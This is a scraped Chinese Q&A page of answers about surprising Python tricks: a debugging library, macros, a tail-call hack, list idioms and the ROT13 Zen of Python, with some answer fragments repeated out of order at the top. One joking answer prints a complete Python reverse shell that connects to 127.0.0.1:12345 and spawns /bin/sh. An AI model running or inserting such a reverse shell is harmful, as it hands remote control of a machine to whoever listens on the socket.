你见过哪些令你瞠目结舌的 Python 代码技巧?
程序员文章站
2022-05-14 14:34:27
...
基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机
神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列
Q 的最简单用法,打印 foo 的值:
lihaoyi/macropy · GitHub
你问我这个有什么屌的?
来来来,看几个例子:
更好用的lambda表达式
code:
Dwarfartisan/pyparsec · GitHub
不许打!打也不许打脸! 先让我反弹个shell冷静一下
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]
Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]
Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。
用元编程动态生成类,生成以后动态加载卸载。
把类当函数用。把函数当变量用。
花样玩容器。
顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。
注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。
结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机
神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列
回复内容:
当初看到这个还是觉得蛮瞠目结舌的:https://pypi.python.org/pypi/qQuick-and-dirty debugging output for tired programmers正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。
Q 的最简单用法,打印 foo 的值:
import q; q(foo)
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:lihaoyi/macropy · GitHub
你问我这个有什么屌的?
来来来,看几个例子:
更好用的lambda表达式
from macropy.quick_lambda import macros, f, _
print map(f[_ + 1], [1, 2, 3]) # [2, 3, 4]
print reduce(f[_ * _], [1, 2, 3]) # 6
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的栈帧清了。然而现在还是看不懂它写的是什么鬼。code:
import sys
class TailRecurseException:
def __init__(self, args, kwargs):
self.args = args
self.kwargs = kwargs
def tail_call_optimized(g):
"""
This function decorates a function with tail call
optimization. It does this by throwing an exception
if it is it's own grandparent, and catching such
exceptions to fake the tail call optimization.
This function fails if the decorated
function recurses in a non-tail context.
"""
def func(*args, **kwargs):
f = sys._getframe()
if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code:
raise TailRecurseException(args, kwargs)
else:
while 1:
try:
return g(*args, **kwargs)
except TailRecurseException, e:
args = e.args
kwargs = e.kwargs
func.__doc__ = g.__doc__
return func
谢邀,我今天无耻一回Dwarfartisan/pyparsec · GitHub
不许打!打也不许打脸! 先让我反弹个shell冷静一下
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
之前在GitHub看到有人总结了一些python的tricksbrennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]
Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]
Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。
用元编程动态生成类,生成以后动态加载卸载。
把类当函数用。把函数当变量用。
花样玩容器。
顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。
注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。
结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
s = """Gur Mra bs Clguba, ol Gvz Crgref
Ornhgvshy vf orggre guna htyl.
Rkcyvpvg vf orggre guna vzcyvpvg.
Fvzcyr vf orggre guna pbzcyrk.
Pbzcyrk vf orggre guna pbzcyvpngrq.
Syng vf orggre guna arfgrq.
Fcnefr vf orggre guna qrafr.
Ernqnovyvgl pbhagf.
Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.
Nygubhtu cenpgvpnyvgl orngf chevgl.
Reebef fubhyq arire cnff fvyragyl.
Hayrff rkcyvpvgyl fvyraprq.
Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.
Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.
Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.
Abj vf orggre guna arire.
Nygubhtu arire vf bsgra orggre guna *evtug* abj.
Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.
Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.
Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""
d = {}
for c in (65, 97):
for i in range(26):
d[chr(i+c)] = chr((i+13) % 26 + c)
print "".join([d.get(c, c) for c in s])
声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
相关文章
相关视频
专题推荐
-
独孤九贱-php全栈开发教程
全栈 170W+
主讲:Peter-Zhu 轻松幽默、简短易学,非常适合PHP学习入门
-
玉女心经-web前端开发教程
入门 80W+
主讲:灭绝师太 由浅入深、明快简洁,非常适合前端学习入门
-
天龙八部-实战开发教程
实战 120W+
主讲:西门大官人 思路清晰、严谨规范,适合有一定web编程基础学习
网友评论
文明上网理性发言,请遵守 新闻评论服务协议
我要评论